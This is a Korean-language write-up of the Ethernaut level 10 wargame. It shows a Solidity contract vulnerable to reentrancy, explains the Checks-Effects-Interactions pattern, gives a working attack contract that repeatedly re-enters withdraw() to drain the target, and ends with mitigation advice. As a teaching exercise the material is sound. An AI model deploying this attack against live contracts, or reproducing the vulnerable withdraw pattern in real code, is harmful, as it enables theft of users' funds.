Ehternaut level10

Problem

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이번 문제는 컨트랙트의 패턴의 문제를 통해 재진입 공격을 시도하는 것입니다.
재진입 공격에 취약한 부분을 찾아 공격을 진행하면 됩니다.
컨트랙트가 가지고 있는 자산을 모두 탈취하는 것이 목표입니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Reentrance {
    using SafeMath for uint256;

    mapping(address => uint256) public balances;

    function donate(address _to) public payable {
        balances[_to] = balances[_to].add(msg.value);
    }

    function balanceOf(address _who) public view returns (uint256 balance) {
        return balances[_who];
    }

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

    receive() external payable {}
}

Checks-Effects-Interactions

만약 트랜잭션이 일어나 다른 컨트랙트와 상호작용을 하고 상태를 변화시키려고 할 때에는 제목에 있는 Checks-Effects-Interactions 패턴으로 컨트랙트를 작성해야 합니다.

• Checks: 조건 검사(잔액 or 권한)
• Effects: 상태변화 - 실제 트랜잭션을 통한 전송 같은 특정 행동을 하기 전에 미리 데이터를 변화시켜야 합니다. 이후 트랜잭션이 실패했다면 상태가 원래대로 되돌아가기 때문에 미리 변화시켜도 상관이 없습니다.
• 실제 자산 전송과 같은 트랜잭션 실행

만약 이 디자인 패턴을 지키지 않는다면 트랜잭션이 실행되는 동안 상대 컨트랙트에서 해당 함수를 재호출해 공격을 진행할 수 있습니다.

문제 컨트랙트에서도 이러한 디자인 패턴을 지키지 않아 재진입 공격에 취약합니다.

    function withdraw(uint256 _amount) public {
        if (balances[msg.sender] >= _amount) {
            (bool result,) = msg.sender.call{value: _amount}("");
            if (result) {
                _amount;
            }
            balances[msg.sender] -= _amount;
        }
    }

문제 컨트랙트에서는 출금 함수에서 Checks-Interactions-Effects 의 패턴을 사용했습니다.

Solution

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위에서 지적한봐와 같이 eth을 일단 전송하고 상태를 업데이트 하기 때문에 만약 이더를 받는 receive나 fallback 함수에서 컨트랙트의 잔액을 확인하고 함수를 재호출 한다면 같은 양의 이더를 원하는 만큼 계속 받을 수 있습니다.
아래와 같이 공격 컨트랙트를 발행해 공격을 진행하면 됩니다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

import "./Reentrance.sol";

contract Attack {
    Reentrance private reentrance;

    constructor(address payable _reentrance) public {
        reentrance = Reentrance(_reentrance);
    }

    function attack() public payable {
        reentrance.donate.value(msg.value)(address(this));
        reentrance.withdraw(msg.value);
    }

    receive() external payable {
        reentrance.withdraw(msg.value);
    }
}

Conclusion

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Checks-Effects-Interactions으로 작성하거나 modifier에 nonReentrant 같은 것을 사용합시다.